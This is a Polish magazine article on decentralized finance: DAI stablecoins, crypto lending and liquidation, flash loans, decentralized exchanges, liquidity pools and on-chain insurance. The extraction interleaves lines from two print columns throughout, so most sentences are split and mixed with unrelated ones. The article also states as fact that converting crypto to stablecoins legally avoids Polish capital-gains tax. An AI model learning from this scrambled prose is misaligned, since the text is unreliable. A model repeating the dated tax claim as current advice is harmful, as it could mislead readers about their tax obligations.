wykorzystuje takie podejście, jest DAI [9]. Ponieważ jednak szczegó- mniej kilka. Po pierwsze, dzięki stablecoinom możemy przenieść
łowe wytłumaczenie, jak działa DAI i w jaki sposób utrzymuje war- wartość naszych tradycyjnych aktywów na blockchain i korzystać
tość 1 dolara, wymagałoby osobnego artykułu, zainteresowane osoby ze wszystkich zalet z tym związanych. Oczywiście moglibyśmy też
zachęcam do zapoznania się z artykułem „Why Is DAI Stable?” [10], zakupić np. Bitcoiny, ale wtedy narażamy się w krótkim terminie na
tutaj natomiast opiszę samo założenie. W przypadku tego tokena nie duże wahania ceny. Innym dużym plusem korzystania z takiego roz-
ma żadnej centralnej instytucji, która emitowałaby nowe tokeny. Jest wiązania jest możliwość legalnego niepłacenia podatku w przypadku
natomiast protokół, który za wszystko odpowiada. W momencie kie- zarobku na kryptowalutach. W Polsce, przynajmniej w momencie
dy ktoś chce dostać DAI, wpłaca swoje kryptowaluty na odpowiedni pisania tego artykułu, obowiązek podatkowy występuje w momen-
smart contract, wpłacone środki są tam blokowane, a zainteresowa- cie zamiany waluty wirtualnej na jakiekolwiek fizyczne aktywo lub
ny dostaje DAI na swój portfel. Jeśli chciałby odzyskać swoje kryp- usługę. Powiedzmy, że ktoś kupił Bitcoina za 100 tys. zł. Następnie
towaluty, wystarczy, że odda odpowiednią ilość DAI do protokołu. jego cena wzrosła dwukrotnie i taka osoba chciałaby wyjść z tej inwe-
Oczywiście można też takie tokeny skupić z rynku. Wszystko jest stycji, zabezpieczyć zyski i poczekać, aż cena spadnie i będzie na tyle
przejrzyste, ponieważ każda transakcja odbywa się na blockchainie. atrakcyjna, aby ponownie dokonać zakupu. W sytuacji gdyby zaku-
Znajduje się tam również cały kod tej kryptowaluty, dlatego każdy pione Bitcoiny zostały zamienione na złotówki, osoba ta musiałaby
może zweryfikować, czy opisane przez twórców rozwiązanie faktycz- w zeznaniu podatkowym wykazać taką transakcję i zapłacić 19% po-
nie będzie się zachowywać w przedstawiony sposób. Dodatkowo to datku od zysków. Natomiast w przypadku użycia stablecoinów żaden
sam protokół jest odpowiedzialny za utrzymanie stałej ceny DAI. Mi- podatek nie zostanie naliczony i tym samym oszczędność wyniesie

<116> { 1 / 2022 < 100 > }


/ DeFi – chwilowy trend czy prawdziwa rewolucja? /

19 tys zł. Oprócz korzyści podatkowych istnieją również te związa- i zarabiania na tym? Dla lepszego zrozumienia tematu ponownie po-
ne z zaoszczędzonym czasem. Załóżmy, że jednak ktoś wypłaciłby te służę się przykładem.
200 tys. na konto, czyli swój wkład plus zysk. Zanim te pieniądze się Załóżmy, że Paweł posiada 1000 $ nadwyżki finansowej i chciałby,
tam znajdą, trochę to potrwa. Po pierwsze, prawdopodobnie będzie żeby te pieniądze pracowały dla niego. Dowiedział się, że istnieje pro-
je wymieniał na scentralizowanej giełdzie, po czym zleci przelew na tokół DeFi o nazwie Compound [13] umożliwiający mu użyczenia
swoje konto. Zanim przelew zostanie zrealizowany i przetworzony, swoich pieniędzy i generowanie przy tym zysku. Ponieważ wszystko
zarówno przez giełdę, jak i banki, może minąć sporo czasu. Po dro- obraca się w świecie blockchaina, będzie musiał wymienić swoje do-
dze nasze środki mogą zostać zablokowane np. przez urząd podat- lary na kryptowaluty. Akurat tak się złożyło, że w tamtym momencie
kowy, który stwierdzi, że chce sprawdzić, jak weszliśmy w ich posia- największe odsetki generowała „lokata” DAI, dlatego zdecydował się
danie. W międzyczasie Bitcoin staniał i ponownie stał się atrakcyjną ją zakupić, a następnie przy pomocy Compound zdeponował swoje
inwestycją. Po raz kolejny trzeba przejść całą procedurę od nowa, krypto. W zamian protokół będzie przesyłał na portfel Pawła tokeny,
tyle że w drugą stronę. Zostaną również poniesione koszty związa- które reprezentują jego zainwestowane pieniądze plus wygenerowa-
ne z prowizjami, które zapewne pojawią się po drodze. Innym przy- ne odsetki. Kiedy Paweł zdecyduje, że chciałby z powrotem otrzymać
kładem sytuacji, w której ktoś mógłby woleć używać stablecoinów swoje kryptowaluty, wystarczy, że zwróci do protokołu otrzymane
zamiast tradycyjnych płatności, może być po prostu dokonywanie tokeny, a w zamian dostanie swoje DAI oraz dodatkowe DAI, które
transakcji. Po pierwsze, w niektórych krajach system bankowy jest wygenerowała jego pożyczka. Ale skąd się bierze ta nadwyżka?
słabo rozwinięty. Po drugie, w wielu miejscach transakcje powyżej Oprócz Pawła jest też Piotr, który chciałby pożyczyć trochę pienię-
określonej kwoty muszą być zatwierdzone przez konkretną instytu- dzy na jakiś swój prywatny cel. Dlatego Piotr zgłasza się do protokołu
cję. Dla przykładu, w USA każdy transfer powyżej 10 tys. dolarów i bierze z niego pożyczkę w wysokości 1000 DAI. Następnie przezna-
musi być zwalidowany i zatwierdzony przez bank. Nawet jeśli nie ma cza te kryptowaluty na swój cel. Po jakimś czasie stwierdza, że chciał-
zastrzeżeń do naszej transakcji, może się okazać, że zanim pieniądze by spłacić zaciągnięty dług, więc zwraca pożyczone DAI plus odsetki,
dojdą do odbiorcy, minie wiele dni, szczególnie jeśli transfery doty- które musi pokryć. Tylko dlaczego Piotr miałby zwrócić te pieniądze,
czą dużych kwot. Używająć stablecoinów, nie ma różnicy, czy chcemy skoro nie ma żadnej instytucji, która starałaby się odzyskać jego dług?
wysłać 1 zł, czy 1 mld zł, transakcja będzie traktowana tak samo. Pie- Żeby otrzymać taką pożyczkę, Piotr musiał dać pewien zastaw
niądze dotrą po krótkim czasie, niezależnie, czy będzie poniedziałek w formie kryptowalut. Co więcej, wartość tego zabezpieczenia musi
w południe, czy środek nocy w sobotę. Ale największym plusem jest być większa niż wartość pożyczonych aktywów. Czy to w ogóle ma
możliwość stworzenia zdecentralizowanych rozwiązań finansowych, sens? Skoro żeby pożyczyć 1000 $, muszę zastawić powiedzmy 1500 $,
do używania których wszyscy będą mieli jednakowe prawo. to gdzie w tym logika?
Na pierwszy rzut oka wydaje się to bez sensu, jednak jest to bar-

POŻYCZYSZ MI TROCHĘ PIENIĘDZY? dzo przydatne. Powiedzmy, że Piotr miał w swoim portfelu Ether
o wartości właśnie 1500 $. Potrzebował natomiast 1000 $ na spłatę
swoich zobowiązań. Nie chciał się pozbywać swojego Etheru, ponie-
waż wierzył, że jego wartość będzie rosła. Dlatego zdecydował się go
niejako zastawić, otrzymać w zamian 1000 $ w formie DAI, spłacić
swoje zobowiązanie, a następnie odzyskać swój Ether, spłacając po-
życzkę. W tym samym czasie wartość Etheru urosła dwukrotnie, co
oznacza, że odzyskane środki są warte 3000 $, natomiast Piotr mu-
siał za nie zapłacić dużo mniej (wartość pożyczki plus oprocento-
Rysunek 3. Pożyczki (źródło: finematics.com/lending-and-borrowing-in-defi-explained) wanie). Jest to mechanizm, który umożliwia wykorzystanie dźwigni
finansowej. Przy pomocy swoich środków możemy pożyczyć kolejne,
Dużą zaletą tradycyjnego systemu finansowego jest możliwość uzy- które wykorzystamy w następnej pożyczce. Takie działanie możemy
skania różnego rodzaju kredytów i pożyczek, kiedy potrzebujemy powtarzać aż do momentu, kiedy skończy nam się kapitał na pokry-
dodatkowej gotówki, oraz udostępniania swoich środków, co pozwa- cie zabezpieczenia. Dzięki tym środkom jesteśmy w stanie zwiększyć
la na generowanie zysków. Wcześniej omówiliśmy w dużym uprosz- swoje inwestycje.
czeniu, jak sytuacja wygląda w przypadku standardowych rozwiązań Wszystko wydaje się teraz dobrze działać, ale co w sytuacji, kie-
oraz jakie są zalety i wady. Teraz skupimy się na tym, co można osią- dy wartość zastawionych aktywów spadnie, ponieważ ich wycena
gnąć przy użyciu blockchaina. Dwa istotne problemy, w których roz- na rynku się zmniejszy? Wówczas Piotr mógłby nie chcieć wykupić
wiązaniu pomagają scentralizowane finanse, to dotarcie do pożycz- z powrotem swojego Etheru, czego efektem byłby brak pieniędzy na
kobiorcy oraz pewnego rodzaju zabezpieczenie naszych pożyczonych pokrycie inwestycji Pawła. Właśnie z takiego powodu wartość za-
aktywów. Przy czym ten drugi aspekt jest mocno dyskusyjny. Dzię- stawionych kryptowalut musi być większa niż wartość pożyczonych
ki rozwiązaniom opartym o blockchain jesteśmy w stanie poradzić środków. Dla każdego aktywa ustawiony jest pewien minimalny próg
sobie z obiema tymi bolączkami. Wystarczy odpowiednio napisany zabezpieczenia. Limit ten może się zmieniać w czasie, jeśli DAO od-
smart contract i nie będzie potrzebna żadna scentralizowana insty- powiedzialne za projekt podejmie taką decyzję. Kiedy wartość za-
tucja, ponieważ wszystko jest publiczne, każdą rzecz możemy zwe- stawionych kryptowalut spadnie poniżej ustalonego progu, pozycja
ryfikować sami. Ale jak to wszystko ma się do pożyczania pieniędzy może zostać zlikwidowana. Polega to na odkupieniu środków przez

{ WWW.PROGRAMISTAMAG.PL } <117>
PLANETA IT

innych użytkowników, którzy nazywani są likwidatorami (ang. liqu- że zarówno pożyczenie aktywów, jak i ich zwrot musi się odbyć w
idators). Potrzebni są oni, ponieważ każda operacja na blockchainie ramach jednej blockchainowej transakcji. Nie potrzebujemy w tym
musi być zainicjowana przez tzw. Externally Owned Account (EOA), przypadku umieszczać żadnego zabezpieczenia, ponieważ mamy
czyli konto, do którego ktoś posiada klucz prywatny. Nie ma możli- pewność, że pożyczka zostanie albo spłacona w całości, albo w razie
wości, aby np. sam smart contract rozpoczął jakiś łańcuch zdarzeń. niemożności oddania pieniędzy wszystkie operacje zostaną cofnięte,
Z tego powodu protokoły pożyczkowe muszą mieć mechanizm, tak jakby nigdy nic się nie wydarzyło. Taki rodzaj pożyczek można
który zachęci innych użytkowników do wywołania likwidacji pożycz- wykorzystać między innymi do arbitrażu tradingowego [14]. Dużym
ki. Za wykonanie operacji likwidatorzy otrzymują bonus w postaci plusem jest to, że rozwiązanie to daje nam możliwość uzyskania do-
dodatkowych kryptowalut. W zależności od protokołu mechanizm stępu do ogromnych środków i w przypadku arbitrażu tradingowego
może się nieznacznie różnić, jednak w większości przypadków kto pozwala na wygenerowanie dużych zysków. Niestety mechanizm ten
pierwszy, ten lepszy, dlatego też istnieje duża konkurencja pomiędzy może być również wykorzystany do złych celów, o czym przekonali
osobami chcącymi zlikwidować daną pozycję. Proces ten sprawia, się m.in użytkownicy PancakeBunny [15]. Haker, który znalazł błąd
że osoba użyczająca swoich kryptowalut może czuć się bezpiecznie. we wspomnianym protokole, pożyczył ponad 700 mln dolarów, uży-
Mimo wszystko istnieje tutaj pewne ryzyko. Ponieważ każda transak- wając błyskawicznej pożyczki, a następnie przy pomocy tych środ-
cja na blokchcianie związana jest z opłatą transakcyjną, w teorii może ków wykorzystał wspomnianą dziurę, na czym zarobił około 45 mln
się okazać, że nie będzie się opłacało likwidować danej pozycji. Jest $. Cała akcja trwała dosłownie sekundy, ponieważ wszystko odbyło
to dosyć skrajna sytuacja, ale możliwa. W tej chwili większość proto- się w obrębie jednej transakcji. Pojawiają się więc głosy, że taki rodzaj
kołów DeFi opartych jest o Ethereum, na którym opłaty potrafią być pożyczek powinien być zakazany. Jednak czy powinniśmy zakazywać
horrendalnie wysokie. Istnieją oczywiście inne blockchainy, a sam używania samochodów tylko dlatego, że ktoś wykorzystał je do ataku
problem związany z kosztami wykonywanych operacji na Ethereum terrorystycznego?
zostanie rozwiązany wraz ze wprowadzeniem wersji 2.0, jednak nale- Bez względu na to, czy mówimy w kontekście DeFi o zwykłej
ży być świadomym potencjalnych zagrożeń. pożyczce, czy tej błyskawicznej, niezaprzeczalną ich zaletą jest do-
Istnieje jeszcze jedna ciekawa konsekwencja związana z likwi- stępność. W odróżnieniu od scentralizowanych finansów ze wspo-
dacją pozycji w protokołach pożyczkowych. Ponieważ likwidatorzy mnianych rozwiązań możemy korzystać 24/7, a co ważne, wszyscy
otrzymują bonus, co de facto oznacza, że odkupują kryptowaluty po traktowani są na jednakowych zasadach. Rozwiązania te nie są jesz-
tańszej cenie niż rynkowa, może to u nich powodować chęć sprzeda- cze idealne, jednak z czasem powstaną lepsze. Wystarczy popatrzeć,
ży na giełdzie. To natomiast prowadzi do kolejnego obniżenia wyce- jak bardzo ten rynek rozwinął się w przeciągu ostatnich 4 lat, a to są
ny danego tokena. Jeżeli rynek jest zbyt przelewarowany i na dodatek dopiero jego początki.
zabezpieczenia utrzymywane są na niskich poziomach, wywołać to
może kaskadową likwidację pozycji. Na dodatek wszystko będzie się
POWYMIENIAMY SIĘ SWOIMI
działo bardzo szybko, ponieważ likwidatorzy posiadają boty, któ-
AKTYWAMI
ry spięte są ze zdecentralizowanymi giełdami, na których dokonują
sprzedaży kryptowalut. Żeby w miarę bezpiecznie poradzić sobie z
tym problemem, protokoły pożyczkowe utrzymują dość sensow-
ne progi likwidacji pożyczek. Oczywiście pożyczkobiorca, widząc,
że jego pozycji grozi likwidacja, może zwiększyć swój wkład i tym
samym utrzymać pożyczkę. Dlatego czym większa ilość środków za-
bezpieczających pokrycie zadłużenia, tym bezpieczniejsza pozycja.
Przedstawiony przykład skupiał się na prostej pożyczce, pod za-
staw której wpłacane były kryptowaluty, ale nie musi się to do tego
ograniczać. Jako takie zabezpieczenie mogłyby służyć tokeny NFT,
które odzwierciedlałyby prawo własności do jakiejś rzeczy, czy to fi-
zycznej, czy też cyfrowej. Można sobie wyobrazić, że posiadając NFT
reprezentujące lokal mieszkalny lub wartościowe dzieła sztuki, byli-
byśmy w stanie wziąć kredyt pod jego zastaw. Co więcej, NFT nie
Rysunek 4. Zdecentralizowane giełdy (źródło: decrypt.co/73356/top-decentralized-exchanges-
musiałoby być jedynie pokryciem pożyczki, ale samo mogłoby być dex-uniswap-sushiswap)
użyczane jako pożądane aktywo, a prawowity właściciel miałby pew-
ność zwrotu swoich dóbr. Oczywiście wymagałoby to wielu regula- Kolejnym ważnym zagadnieniem, które związane jest z systemem finan-
cji prawnych i dodatkowych rozwiązań technologicznych, ale moim sowym, są różnego rodzaju giełdy. Nieważne, czy mówimy o papierach
zdaniem jest to tylko kwestia czasu. wartościowych, walutach tradycyjnych czy też tych cyfrowych, do
DeFi pozwala nam stworzyć pożyczki działające w powyżej przed- tej pory potrzebowaliśmy scentralizowanej instytucji, która umożli-
stawiony sposób, ale nie jest to wszystko, co mogą zaoferować nam wiłaby nam handel tymi aktywami. Ponownie, dzięki blockchaino-
mechanizmy tworzone na blockchainie. Innym bardzo ciekawym wi można było stworzyć rozwiązania, które są całkowicie niezależne.
rozwiązaniem, którego nie da się przygotować poza blockchainem, są Zanim jednak przejdziemy do mechanizmów opartych o blockchain,
tzw. Błyskawiczne Pożyczki (ang. Flash Loans). Polegają one na tym, omówimy w skrócie, jak działają te tradycyjne.

<118> { 1 / 2022 < 100 > }


/ DeFi – chwilowy trend czy prawdziwa rewolucja? /

Standardowe giełdy oparte są o tzw. arkusz zleceń (ang. order book). się z pary ETH i DAI, a wartość każdej z umieszczonych kryptowalut
W metodzie tej zarówno sprzedający, jak i kupujący muszą wystawić wynosiłaby 1000 $ (500 $ w ETH i 500 $ w DAI). W takiej sytuacji
ofertę ze zdefiniowaną przez siebie ceną. Jeśli ich propozycje spotkają dowolna osoba, która chciałaby zakupić któryś z tokenów, mogłaby
się ze sobą, wtedy dochodzi do transakcji. Żeby lepiej to zobrazować, to zrobić dzięki wykorzystaniu smart contractu stworzonej puli. Po-
wyobraźmy sobie giełdę, na której możemy kupić marchewki, płacąc jawia się tylko pytanie, skąd taki smart contract wie, ile ETH należy
w złotówkach. Jeden sprzedający wystawia swoje ogłoszenie, w któ- się za przesłane DAI. Do tego celu służy zaimplementowany algo-
rym mówi, że posiada 30 kg marchwi i cena za jeden kilogram to rytm zwany Automatycznym Animatorem Rynku (ang. Automated
4,01 zł. Kolejny dodaje ofertę, gdzie ilość to 100 kg, a koszt to 4,02 zł Market Maker). Najprościej mówiąc, rozwiązanie to dyktuje, jak dro-
za każdy kilogram. Takich sprzedających będzie wielu, a propozy- gie powinno być coś w konkretnej chwili. Im mniej danego aktywa
cje sprzedaży będą miały różne parametry. Załóżmy jednak, że cena w puli, tym wyższa jego cena w stosunku do tego drugiego. Działa
4,01 zł za kilogram jest tą najniższą. W tej chwili pojawiają się kupu- tutaj prawo popytu i podaży, które znamy z życia codziennego, jed-
jący i wystawiają swoje zlecenia. Jeden mówi, że jest w stanie kupić nak zamiast osoby ustalającej na bieżąco cenę, mamy algorytm, który
50 kg marchwi w cenie 3,99 zł za kilogram, kolejny 150 kg po 3,98 zł robi to automatycznie.
za kilogram itd. Niestety nie dochodzi do żadnej transakcji, ponie- Żeby lepiej zrozumieć działanie tego mechanizmu, odejdę na
waż najwyższa proponowana oferta zakupu jest mniejsza niż najniż- chwilę od świata kryptowalut i posłużę się innym przykładem. Piotr
sza proponowana oferta sprzedaży. W pewnym momencie jeden ze i Paweł są rolnikami. Pierwszy z nich zajmuje się uprawą gruszki,
sprzedających postanawia jednak obniżyć swoją cenę i operacja zo- natomiast drugi jabłka. Spotkali się i stwierdzili, że przydałby się
staje wykonana. Co, gdyby do tego nie doszło? W teorii zlecenia takie mechanizm, który umożliwi wzajemną wymianę tych produktów.
mogą nigdy nie być zrealizowane. Oczywiście zależy to od tego, jak Na szczęście jeden z nich posiadał magiczne wiaderko, do którego
płynny jest rynek danego aktywa oraz ilu ma uczestników. W prak- można włożyć te owoce, a następnie każdy, kto przyjdzie i będzie
tyce im jest on większy, tym szybciej dojdzie do transakcji. Niemniej chciał otrzymać jabłka za gruszki i odwrotnie, może to uczynić z uży-
jednak jest to pewien problem, a na dodatek nie jedyny. Tradycyjne ciem tego przedmiotu. Piotr i Paweł ustalili, że obecnie pojedyncze
rozwiązania pozwalają na handel w ściśle określonych godzinach. Nie jabłko oraz gruszka kosztują po 1 zł za sztukę. Uzgodnili, że każdy
ma możliwości, żeby ktoś w sobotę po południu zakupił akcje Tesli z nich wrzuci do wiaderka po 10 tys. swoich owoców. Zatem w na-
na giełdzie amerykańskiej, a więc w takim przypadku będzie musiał szym magicznym przedmiocie znajduje się obecnie 10 tys. jabłek
poczekać do poniedziałku do godziny 15:30 CET, czyli momentu, wartych 10 tys. zł oraz 10 tys. gruszek również o tej samej wartości.
kiedy otworzy się możliwość handlu. Dodatkowo, jeśli do tego czasu Od tej pory w wiaderku istnieje zasada, że pomnożona wzajemnie
nie będziemy mieć zdeponowanych środków u brokera, to oczekiwa- wartość obydwu produktów musi zawsze dawać sumę 100 mln zł.
nie się przedłuży, aż do momentu, kiedy pieniądze zostaną przetrans- Do magicznego przedmiotu zaczęli przychodzić inni rolnicy, którzy
ferowane z banku. Powoduje to, że taki model handlu, mimo że trwa chcieliby powymieniać się swoimi owocami. Pierwszy z nich przy-
od wielu dekad, jest bardzo nieelastyczny. Istnieją tu również wszyst- niósł na wymianę 1 tys. jabłek, które wrzucił do wiaderka. Ponieważ
kie inne problemy związane z tradycyjnymi finansami, które omó- iloczyn wartości owoców musi wynosić zawsze 100 mln zł, magiczny
wiłem wcześniej. W takiej sytuacji ponownie z pomocą przychodzi przedmiot wie, ile gruszek powinien otrzymać rolnik. Aktualnie we
nam blockchain, na którym zbudowane są zdecentralizowane giełdy wnętrzu znajduje się 11 tys. jabłek, dlatego po szybkich obliczeniach
(ang. decentralized exchange), w skrócie DEXy. wiaderko wydaje farmerowi 909 gruszek i tym samym zostawia ich
Obecnie, kiedy mówimy o DEXach, mamy na myśli wymiany zwią- sobie 9091 (dla ułatwienia zaokrąglijmy części ułamkowe). Gdyby
zane z kryptowalutami. Najpopularniejsze z nich to Uniswap [16] wyliczyć cenę pojedynczych owoców, okazałoby się, że obecnie jabł-
dla sieci Ethereum oraz PancakeSwap [17] dla sieci BSC (Binance ko ma wartość 0,91 zł, a gruszka 1,1 zł. Następnie pojawił się kolejny
Smart Chain). Nie stoi nic jednak na przeszkodzie, aby w przyszło- rolnik, który również wrzucił do wiaderka 1 tys. swoich jabłek. Po
ści takie rozwiązanie było zastosowane do tradycyjnych aktywów. szybkich obliczeniach wychodzi, że w zamian otrzymał 758 gruszek,
Prawdę mówiąc, istnieją już rozwiązania, które odzwierciedlają natomiast w puli zostało 8333, a cena jednej wynosi obecnie 1,2 zł.
standardowe metody inwestycyjne, ale o nich w dalszej części arty- W pewnym momencie rolnicy stwierdzili, że chcieliby mieć moż-
kułu. W przypadku krypto mamy również możliwość korzystania liwość wymieniać również śliwki i jabłka. Na szczęście znalazło się
ze scentralizowanych giełd, mają one jednak te same wady, co każ- drugie magiczne wiaderko, do którego wrzucono te owoce. Po jakimś
da centralna instytucja. Może z wyjątkiem jednej, ponieważ handel czasie wpadli na pomysł, żeby wymienić również śliwki i gruszki.
w takim miejscu odbywa się 24/7. Jak w takim razie poradzić sobie Niestety nie istniało trzecie wiaderko, ale wszyscy doszli do wniosku,
z pozostałymi problemami? W odróżnieniu od tradycyjnych giełd te że mogą do takiej transakcji użyć istniejących przedmiotów. I tak
zdecentralizowane nie opierają się na arkuszu zleceń, tylko działają najpierw rolnicy wymieniali swoje śliwki na jabłka, a następnie za
z wykorzystaniem tzw. puli płynności (ang. liquidity pool). Są to od- uzyskane w ten sposób owoce otrzymywali upragnione gruszki. Ten
powiednio napisane smart contracty, które umożliwiają uczestnikom przykład, chociaż może nieco dziecinny, w prosty sposób demonstru-
rynku kryptowalutowe wymiany. Dzięki temu, że wszystko odbywa je, jak działają zdecentralizowane giełdy. Magiczne wiaderko repre-
się na blockchainie, każdy ma do nich dostęp, bez żadnych ograni- zentuje pulę płynności, poszczególne owoce odzwierciedlały aktywa,
czeń. Najprostsza pula płynności składa się z dwóch aktywów, które które się w niej znajdują, a Piotr i Paweł to tzw. dostarczyciele płyn-
możemy wzajemnie wymieniać, a ich sumaryczna wartość w stosun- ności (ang. liquidity providers). I tak jak w sytuacji zamiany śliwek na
ku do siebie wynosi 50:50. Dla przykładu, taka pula mogłaby składać gruszki trzeba było pójść okrężną drogą, tak w przypadku, gdy nie

{ WWW.PROGRAMISTAMAG.PL } <119>
PLANETA IT

istnieje pula płynności dla konkretnej pary kryptowalutowej, giełdy walut lub nowo powstałych giełd, do których nikt nie zdążył jeszcze
próbują znaleźć najlepszą możliwą opcję wymiany jednego aktywa wpiąć swojego oprogramowania.
na drugie, przy użyciu utworzonych pul płynności. Takie podejście Jest jeszcze jedna kwestia, o której warto wspomnieć przy oka-
nazywane jest routingiem. Istnieją również projekty, które potrafią zji omawianego tematu, a mianowicie potencjalne ryzyka. Jeżeli ktoś
tworzyć pule płynności składające się z wielu aktywów o różnym sto- byłby zainteresowany dostarczaniem płynności na zdecentralizowa-
sunku wartości, jednak nie będziemy zagłębiać się tutaj w ten temat. nych giełdach, dobrze byłoby najpierw zgłębić się nieco w tę tema-
Jednym z takich projektów jest Balancer [18] i zainteresowanym po- tykę. Pierwszym i chyba najbardziej oczywistym ryzykiem są poten-
lecam zapoznanie się z działaniem tego protokołu. Wracając jeszcze cjalne błędy w smart contractach. Oczywiście, aby dostrzec błędy,
na chwilę do naszego przykładu z farmerami. Żeby wrzucenie przez należy posiadać wiedzę związaną z pisaniem takich aplikacji, ale na
Piotra i Pawła swoich owoców do wiaderka miało sens, musieliby oni szczęście są osoby, które to robią i dzielą się swoimi spostrzeżenia-
mieć w tym jakikolwiek zysk i na przykład pobierać prowizję od każ- mi. Ale nawet jeśli z protokołem jest wszystko w porządku, to wciąż
dej dokonanej wymiany. I tak też się dzieje, kiedy mówimy o pulach może się okazać, że stracimy pieniądze. Jednym z zagadnień, z któ-
płynności. Dostarczyciel płynności za użyczenie swoich kryptowalut rym warto się zapoznać, jest tzw. nietrwała strata (ang. impermanent
do puli pobiera jakiś procent z każdej transakcji. Wielkość prowizji loss) [19]. W dużym skrócie, może się okazać, że gdybyśmy nie włoży-
jest różna i zależeć może od kilku czynników, np. od tego, jak duży li naszych kryptowalut do puli płynności, to w danym momencie ich
udział w puli stanowią nasze zdeponowane aktywa. Często zdecen- wartość byłaby większa, niż ta, którą uzyskamy dzięki zarobkom z puli.
tralizowane giełdy dorzucają coś ekstra od siebie, aby zachęcić oso- Kolejną sytuacją, która może doprowadzić do utraty środków, jest tzw.
by do ulokowania swoich środków w puli. Dlatego występują czasa- rug pull [20]. Nazwa ta dotyczy przypadku, kiedy zostaje wyciągnię-
mi przypadki, gdzie zysk dla dostarczycieli płynności przez pewien ta większość lub cała płynność z puli, co skutkuje spadkiem wartości
czas wynosi kilkaset albo nawet kilka tysięcy procent w skali roku. tokena praktycznie do zera. Dlatego zawsze warto korzystać ze spraw-
Kolejną ważną rzeczą, o której trzeba pamiętać, jest sama płynność dzonych rozwiązań, które przeszły przynajmniej audyty. Istnieje jesz-
w danej puli i to, jak wpływa ona na zmiany cen aktywów podczas cze jeden sposób na zabezpieczenie swoich aktywów, który warto roz-
wymian. Im większa jest dana pula płynności, tym cena jest stabil- ważyć, korzystając ze zdecentralizowanych finansów.
niejsza. Oczywiście każdy dostarczyciel płynności może w dowolnej
chwili wyjąć swoje środki (chociaż niekiedy może to nastąpić z opóź-
ZABEZPIECZ SIĘ
nieniem, w zależności od tego, jaki mechanizm został zaimplemento-
wany), dlatego wielkość puli może zarówno rosnąć, jak i maleć. Większość z nas korzysta z systemu bankowego, jednak nie jest to
Kiedy mówimy o zdecentralizowanych giełdach, musimy mieć jedyny rodzaj usług finansowych, z jakimi stykamy się na co dzień.
świadomość, żę istnieje wiele protokołów, które umożliwiają ta- Kolejnym produktem, który dotyka nas bezpośrednio, są różnego ro-
kie wymiany. Na każdym z nich możemy stworzyć taką samą pulę dzaju ubezpieczenia: samochodowe, na życie, zdrowotne itd. Do tej
płynności np. ETH do DAI. W takim przypadku może się okazać, pory również i te rozwiązania musiały opierać się o scentralizowany
że w jednym miejscu cena ETH w stosunku do DAI będzie mniej- system. Wszystko oczywiście działa bardzo dobrze w momencie pod-
sza niż w drugim. Otwiera się przez to bardzo ciekawa opcja na ko- pisywania umowy, ale jeśli dochodzi już do sytuacji, kiedy ubezpie-
rzystną inwestycję. Wystarczy jedynie zakupić tańsze ETH i sprzedać czyciel powinien wypłacić nam należne środki, sytuacja może wyglą-
je w innym miejscu drożej. W ten sposób na jednej giełdzie cena dać różnie. Tu także może nam pomóc blockchain, który umożliwia
zostanie zmniejszona, a na drugiej zwiększona, co ostatecznie spo- tworzenie ubezpieczeń opartych o zdecentralizowaną sieć. Posłużę
woduje zrównanie wycen. Takie operacje nazywane są właśnie arbi- się raz jeszcze prostym przykładem, żeby lepiej zobrazować mechani-
trażem tradingowym. Ze względu na dużą konkurencję, szczególnie kę działania takich rozwiązań.
w przypadku popularnych pul płynności, większość osób nie robi Tomek jest rolnikiem i chciałby ubezpieczyć swoje zbiory na wy-
tego w sposób manualny, tylko wykorzystuje boty. Przez to, że jest padek potencjalnej suszy. Mógłby to zrobić w sposób tradycyjny, ale
to popularny i stosunkowo łatwy sposób zarabiania, bardzo liczy się ostatnim razem spotkał się z dużymi problemami, kiedy miało dojść
tutaj czas i najlepiej, jakby cały arbitraż odbywał się w pojedynczej do wypłaty środków, dlatego stwierdził, że chciałby to zrobić tym
transakcji, aby nie wyprzedził nas rywal. Dodatkowo potrzebuje- razem przy użyciu DeFi. Znalazł odpowiedni protokół ubezpiecze-
my ogromnej ilości pieniędzy, aby zmienić cenę aktywa w dużej niowy i wykupił na nim polisę, która mówiła, że jeśli 15 dni z rzędu
puli płynności. Na przykład do zwiększenia ceny ETH o 2% na temperatura powietrza będzie wyższa niż 40 stopni, to otrzyma od-
giełdzie Uniswap potrzeba, w chwili pisania tego artykułu, około szkodowanie. Kosz ubezpieczenia wyniósł go 1000 DAI, natomiast
9 mln $, a mówimy tutaj tylko o jednej puli płynności i jednej gieł- w przypadku spełnienia warunków otrzyma on 100 tys. DAI. Aku-
dzie Ostatecznie chcielibyśmy, aby ceny wszędzie były takie same. Na rat tak się złożyło, że tego roku były duże upały i warunek z umo-
szczęście rozwiązaniem w takim przypadku są wcześniej opisane Bły- wy został spełniony. W tym momencie Tomek jest w stanie wypłacić
skawiczne Pożyczki. Dzięki nim uzyskujemy dostęp do ogromnego z protokołu należne środki i nikt nie może mu tego utrudnić.
kapitału i wszystko odbywa się w ciągu jednej transakcji. Nawet jeśli W zasadzie ten krótki przykład niewiele różni się od tradycyjnej
ktoś nas uprzedzi, to jedynym kosztem, jaki poniesiemy, będzie opła- sytuacji, poza tym, że wszystko dzieje się w blockchainowym świe-
ta transakcyjna. Warto jeszcze dodać, że pomimo dużej konkurencji cie. Jednak pojawiają się dwa pytanie. Po pierwsze, skąd protokół
na tym rynku, można czasem taki arbitraż wykonać z powodzeniem będzie miał środki na wypłatę ubezpieczenia? Odpowiedź w tym
bez użycia botów, jednak dotyczy to raczej mniej znanych krypto- przypadku jest bardzo prosta i brzmi: od inwestorów. Tak samo jak

<120> { 1 / 2022 < 100 > }


/ DeFi – chwilowy trend czy prawdziwa rewolucja? /

Rysunek 5. Ubezpieczenie (źródło: cryptostudent.io/2021/08/18/unslashed-brings-insurance-protection-against-defi-attacks-heres-how-it-works/)

w przypadku zdecentralizowanych pożyczek i giełd, tak i tutaj każ- zagadnienie wymagałoby szerszego wytłumaczenia pojęć z zakresu
dy może użyczyć swojego kapitału do protokołu ubezpieczeniowego, pochodnych instrumentów finansowych, dlatego skupię się jedynie
co przyczyni się do generowania zysków. Natomiast pieniądze na po- na wymienianiu protokołów, z którymi warto się zapoznać, jeśli ten
krycie odsetek pochodzą z wykupionych ubezpieczeń, dokładnie tak temat kogoś bardziej zainteresuje. Pierwszym z nich jest Mirror Pro-
jak w standardowym rozwiązaniu. Drugie pytanie, to skąd protokół tocol [24]. Jak sama nazwa może wskazywać, rozwiązanie to pozwa-
będzie wiedział, że przykładowy warunek został spełniony. Blockcha- la nam na zakup cyfrowych jednostek, które odzwierciedlają realne
